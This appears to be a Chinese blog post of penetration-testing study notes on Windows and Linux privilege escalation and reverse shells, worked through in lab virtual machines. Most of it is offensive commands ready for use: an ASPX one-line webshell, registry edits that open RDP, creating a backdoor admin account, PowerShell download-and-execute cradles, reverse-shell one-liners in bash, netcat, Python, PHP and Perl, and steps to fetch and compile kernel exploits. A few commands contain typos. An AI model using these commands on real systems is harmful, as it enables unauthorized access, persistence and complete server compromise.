059 提权与反弹shell

一:权限提升概述

在渗透测试或者漏洞评估的过程中,提权是非常重要的一步,对于渗透来说,获得的权限越高,控制的服务器就会越多。
网站首先通过漏洞获取webshell,然后通过shell进行提权。
计算机中的权限:
匿名访问权限
来宾权限
用户权限
管理员权限
系统权限

水平权限提升(越权)
同级账户间切换身份,比如有ABC三个用户,AB是普通用户只能自己发帖,然后只能删除自己的贴,C是管理员能删除所有人的帖子,然后突然A可以删除B的帖子了,这就是越权。

垂直权限提升
普通用户获得了管理员的权限
web用户直接提权成管理员用户

 
在这里插入图片描述

 

二:windows提权

前提:
基于webshell提权,也就是说目标机器存在大马文件了。
IIS服务 用aspx大马
asp脚本权限比较低,尝试上传aspx的大马

 
如果目标使用的是套件搭建的网站,如:phpstudy xampp wampserver 获取webshell之后基本上就是系统或管理员权限。

还有个套件叫宝塔,权限待确定,安全性比较高,禁用很多函数,考虑绕过。

 

2.1: 启动项提权

主要是权限维持

2.2:系统漏洞提权

2.2.1:笔记

找补丁,找漏洞,找EXP(漏洞利用程序)

可能会遇到的问题:

1、无法执行cmd命令
2、无法上传提权exp,原因一般是目录没有写权限,那么就寻找有“写权限”的目录。如:日志,缓存,回收站,大马所在目录,windows/temp
3、针对windows系统,对方若是没有开启,那么我们就需要在命令行下开启3389端口,以下是源代码
	针对win2003系统
		reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
	针对win2003/win2008,新建一个3389.bat文件,写入下方代码
		echo Windows Registry Editor Version 5.00>>3389.reg
		echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
		echo "fDenyTSConnections"=dword:00000000>>3389.reg
		echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
		echo "PortNumber"=dword:00000d3d>>3389.reg
		echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
		echo "PortNumber"=dword:00000d3d>>3389.reg
		regedit /s 3389.reg
		del 3389.reg
4、如何创建windows用户,并添加到管理员组
	net user hack 123.com /add
	net localgroup administrators hack /add

 

2.2.2:部分截图

通过命令查看有哪些补丁没有安装
此命令对于win2008更好用一些

systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB2503665 KB3031432) do @type C:\Windows\Temp\a.txt|@find /I "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

在这里插入图片描述

 
开启3389远程端口
在这里插入图片描述

 

2.2.3:收集到的漏洞列表:

CVE-2021-33739 [Microsoft DWM Core Library Elevation of Privilege Vulnerability] (Windows 10, 20)
CVE-2021-1732 [Windows Win32k Elevation of Privilege Vulnerability] (Windows 10, 2019/20H2)
CVE-2020-0787 [Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability] (Windows 7/8/10, 2008/2012/2016/2019)
CVE-2020-0796 [A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'] (Windows 1903/1909)
CVE-2019-1458 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016)
CVE-2019-0803 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows Kernel Elevation of Privilege Vulnerability] (Windows 7 SP1/Windows Server 2008 R2 SP1)
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability] (Windows 10 version 1703/Windows 10 version 1709/Windows Server version 1709)
CVE-2018-8453 [An elevation of privilege vulnerability in Windows Win32k component] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC Elevation of Privilege Vulnerability] (windows 7/8.1/10/2008/2012/2016)
MS17-017  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8)
CVE-2017-8464  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service]  (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
MS16-111  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1)
MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
MS16-034  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012)
MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
MS16-014  [K3134228]  [remote code execution]  (2008/Vista/7)
MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)
MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)
MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)
MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)
MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)
MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)
MS14-070  [KB2989935]  [Kernel Driver]  (2003)
MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)
MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)
MS14-066  [KB2992611]  [Windows Schannel Allowing remote code execution] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)
MS14-002  [KB2914368]  [NDProxy]  (2003/XP)
MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)
MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)
MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)
MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)
MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)
MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)
MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)
MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)
MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)
MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)
MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)
MS10-012  [KB971468]  [SMB Client Trans2 stack overflow]  (Windows 7/2008R2)
MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)
MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)
MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)
MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)
MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066  [KB956803]   [AFD.sys]  (Windows 2000/XP/Server 2003)
MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)
MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)
MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

 
 

2.2.4:windows2003 pr.exe提权实验

环境win2003(开启了iis服务,注意这里有个坑,后面会讲到)
提权文件:pr.exe文件,点我下载(访问密码:SGpAtK)
中国菜刀,这里用菜刀,中国蚁剑一直在“加载转圈圈”,下载菜刀,点我下载 (访问密码:7tdxKP)

首先在win2003部署好iis服务,这里就不赘述了,可以参看我的第六章内容

坑点:
如下图所示,装完IIS一般是没有图中红框内容的,如果没有这个扩展服务,那么启动菜刀或者蚁剑都会报错http:1.1 405 not allowed ,这是因为iis6.0不支持POST方法,所以一定要有下图红框中的那个服务。
在这里插入图片描述
那么怎么才能有呢?我也是找了很久百度,没有结果,都是说些看不懂的话,唉。。。
后来在微软官方的这个网站https://blogs.iis.net/brian-murphy-booth/how-to-setup-asp-net-v1-1-visual-studio-net-2003-projects-on-iis7-vista里面受到启发,会不会是这个服务在创建iis的时候就要安装呢?然后。。。果不其然。
在这里插入图片描述
上图中那个勾要勾选上。
还有就是:这两个服务设置为允许
在这里插入图片描述
启用父路径
在这里插入图片描述
再准备一个一句话木马和大马,这两个文件均放在C:\Inetpub\wwwroot 这个目录下

创建一个文件:yjh.aspx
内容如下:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>

大马文件,请参考我的 054 webshell介绍与文件上传漏洞 里面有大马下载地址。

我们通过真实机的菜刀连接(真实机与win2003同一网络中),其中192.168.152.129为win2003IP地址。
在这里插入图片描述
连接完成之后,右键进入虚拟终端。输入命令进行测试,发现权限不足
在这里插入图片描述
打开真实机的浏览器,输入大马密码cc2789进入下图页面
在这里插入图片描述
进行文件上传
在这里插入图片描述
查看隐藏文件
在这里插入图片描述

好的,,那么接下来,我们回到菜刀。
进入上述目录,执行命令,发现提权成功了,身份是系统权限
在这里插入图片描述

 

2.2.5:windows分析工具利用

1、winsystemhelper-master
2、Sherlock
	本地加载脚本
		Import-Module Sherlock.ps1
	远程加载脚本
		IEX(New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/rastr-mouse/Sherlock/master/Sherlock.ps1")
	发现漏洞
		Find-AllVulns
3、Privesc
	本地加载脚本
		Import-Module.\Privesc.psm1
	获取函数
		Get-Command -Module Privesc
	检测全部信息
		Invoke-AllChecks
	命令行下执行
		powershell.exe -exec bypass -Command "&{Import-Module.\PowerUp.ps1;Invoke-AllChecks}"
	远程调用执行
		powershell - nop -exec bypass -c "IEX(New-Object Net.WwebClient).DownloadString('http://dwz.cn/2vkbfP');Invoke-AllChecks"
	添加用户
		Install-ServiceBinary -ServiceName 'Apache_pn' -UserName huanquan -Password 123456

 

2.2.6:windows2008 VCE-2018-8120提权实战

前提:
win2008服务器 + iis7
exe文件,点我下载 (访问密码:Duca2z)

通过webshell获得一个低权限用户后上传CVE-2018-8120.exe到文件夹
在这里插入图片描述
 

 

三:反弹shell

3.1:概述

先了解什么是shell?
shell是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。

什么是shell脚本?
是一种为shell编写的脚本程序。

基于webshell反弹shell,建立一个持久性的连接。

命令解释器
正向shell:我主动连接服务器,服务器开启ssh端口
反向shell:服务器主动连接我们,我们监听某一个端口

 

3.2:NetCat工具

在网络工具中有“瑞士军刀”美誉,有windows和Linux的版本,因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用。

windows版本:点我下载,包含64位 (访问密码:SwnrNn)

安装:yum install nc

主要参数:

	-l		使用监听模式
	-v		显示执行过程
	-p		设置本地主机使用的通信端口

例子:
两台机都有安装NetCat
攻击机:nc -lvp 4444
目标机:nc 192.168.1.1 4444 -e /bin/bash 这个IP是攻击机的IP

 

3.3:Linux反弹shell

攻击机:nc -lvp 4444
客户机:bash -i >& /dev/tcp/192.168.1.1/4444 0>&1		这个IP是攻击机的IP
	上述命令解释:
		bash -i					创建一个交互式的bash
		>&						将输出重定向到文件
		/dev目录				存放linux操作系统的各种设备
		/dev/tcp				文件不存在,但是打开该文件相当于发起了socket,建立了一个连接
		/192.168.1.1/4444		表示socket连接的ip和端口
		0>&1					表示标准输入重定向到标准输出,即我们可以远程输入,并且可以得到远程的输出
Linux反弹shell其他方法(很奇怪的命令):
	方法2:exec 5<>/dev/tcp/192.168.1.1/4444;cat <&5 | while read line; do $line 2>$5 >$5; done
	方法3:0<&196;exec 196<>/dev/tcp/192.168.1.1/4444; sh <&196 >&196 2>&196

 

3.4:windows反弹shell

nc.exe
我:
	nc -lvvp 1234						kali系统 自定义监听端口号
服务器:
	nc.exe -e cmd.exe ip port			例如:nc.exe -e cmd.exe 192.168.1.1 1234

这样就能在kali的命令窗口进入到服务器电脑的cmd中。
示例在3.8.2:kali与win7 -e参数的使用

3.5:python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.6:php反弹shell

php -r '$sock=fsockopen("192.168.1.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

3.7:perl(不熟悉)反弹shell

perl -e 'use Socket;$i="192.168.1.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3.8:反弹shell示例

3.8.1:kali与win7

环境:
kali:192.168.100.1
win7:192.168.100.2
netcat

kali:开启1234端口监听
在这里插入图片描述

win7上,下载文件,解压。CMD命令进入对应的路径下
在这里插入图片描述
输入nc.exe 192.168.100.1 1234 连接监听
在这里插入图片描述
我们切回kali,输入问候语hello this is kali
在这里插入图片描述
然后win7上就能看到,然后win7上输入的内容kali也能看到,,,接下来就能开启尬聊了
当然,任一方按Ctrl+C即可终止这尴尬的聊天。

 

3.8.2:kali与win7 -e参数的使用

环境:
kali:192.168.100.1
win7:192.168.100.2
netcat

kali
在这里插入图片描述
win7
在这里插入图片描述

 

3.8.3:kali与Ubuntu

kali

nc -lvp 2333

在这里插入图片描述

ubuntu
bash -i >& /dev/tcp/192.168.100.1/2333 0>&i
在这里插入图片描述
 

3.8.4:python shell 示例

kali
在这里插入图片描述
Ubuntu
在这里插入图片描述

 

3.8.5:php shell示例

环境:
kali
ubuntu

前提:ubuntu需要安装PHP环境
可以依次运行以下命令

1、更新检查sudo apt-get update

2、安装Apachesudo apt-get install apache2
安装完成后我们在浏览器输入我们的域名(本地即为localhost),打开出现我们期待已久的Apache页面就表示安装成功
啦!

3、安装PHPsudo apt-get install php7.0

4、查看安装是否成功php -v

环境准备好了之后

kali 这里kali的IP地址变成了192.168.100.5(刚才电脑蓝屏了,然后虚拟机中的win2008,我是开启了DHCP服务的,重新分配了个IP)

在这里插入图片描述
Ubuntu
在这里插入图片描述

 

三:Linux提权

3.1:提权方法图

在这里插入图片描述
 

3.2:笔记

利用系统漏洞提权
	内核提权
第三方软件
	套路比较多,很难想象,实战中体会
		dc系列---靶机渗透---提权操作
收集系统信息
	uname -a
	id
	pwd
	cat /etc/issue					Kali GNU/Linux Rolling \n \l
	w								谁目前已登录了,正在做什么?
	last							最后登录的用户列表
	lastlog							所有用户上次登录的信息
	lastlog	-u %username%			有关指定用户上次登录的信息

linux提权套路:
	和windows类似,windows需要传一个.exe文件,而这里也需要传一个文件
	套路步骤:
		wget http://exp/exp.c
		gcc -o exp exp.c
		chmod +x exp
		./exp
搜索漏洞库
	kali漏洞库
	searchsploit centos 7
	searchsploit -m 35370
kali中开启http服务
	python -m SimpleHTTPServer 8080
运行提权脚本
	gcc 35370.c -o exploit -lpthread
	./exploit

 

3.3:示例 提权辅助脚本

3.3.1:蚁剑上传suggester.sh

若是通过蚁剑或者菜刀手动上传文件不成功,亦或是上传之后就被删除,那么也可以通过发送http请求去下载文件
wget
	wget http://192.168.1.1:8000/linux-exploit-suggester.sh > les.sh		把下载的文件保存到les.sh中
也可以用curl

环境:
需要准备一个sh文件,下载地址:点我下载 (访问密码:UbcWMX)

kali 需要安装好php 服务,并且开启apache服务。
开启apache服务service apache2 start
验证是否开启成功,浏览器访问kali系统
在这里插入图片描述
在 /var/www/html 目录下新建一个 test/.php 一句话木马文件
在这里插入图片描述
通过中国蚁剑与之相连
在这里插入图片描述
通过蚁剑上传文件到/tmp目录下
在这里插入图片描述
名字太长了,重命名一下
在这里插入图片描述
然后在蚁剑的虚拟终端,赋予其执行的权限chmod +x exploit.sh
再运行./exploit.sh

在这里插入图片描述
得到很多的CVE(图中只显示出一个) 都可以尝试性进行提权。能否成功不好说。

 

3.3.2:搜索漏洞库

kali漏洞库
searchsploit centos 7
searchsploit -m 35370

首先创建文件夹centos7,便于存放东西,进入该目录下,如下图

Local Privilege Escalation
保存文件
在这里插入图片描述

把保存的文件上传到目标服务器中去,那么就需要在kali中开启http服务:python -m SimpleHTTPServer 8080
在这里插入图片描述
然后浏览器访问kali
在这里插入图片描述
然后通过蚁剑下载文件到目标服务器上,wget http://192.168.152.130:8080/35370.c
在这里插入图片描述
上图中没有发现文件,把虚拟终端关闭,然后清空所有缓存,重新打开即可。
在这里插入图片描述
在这里插入图片描述
通过浏览器的访问,我们得到运行提权脚本的命令
在这里插入图片描述

蚁剑运行提权脚本

gcc 35370.c -o exploit -lpthread
./exploit

在这里插入图片描述
有警告信息
把虚拟终端关闭,然后清空所有缓存,再重新打开
在这里插入图片描述
在这里插入图片描述
终是未能成功。

 

四:数据库提权

MSSQL
	xp_cmdshell			cmd命令
	前提是能够获取mssql sa的密码
mysql提权
	利用mysql执行cmd命令
	udf
	mof
第三方软件提权

  • 2
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值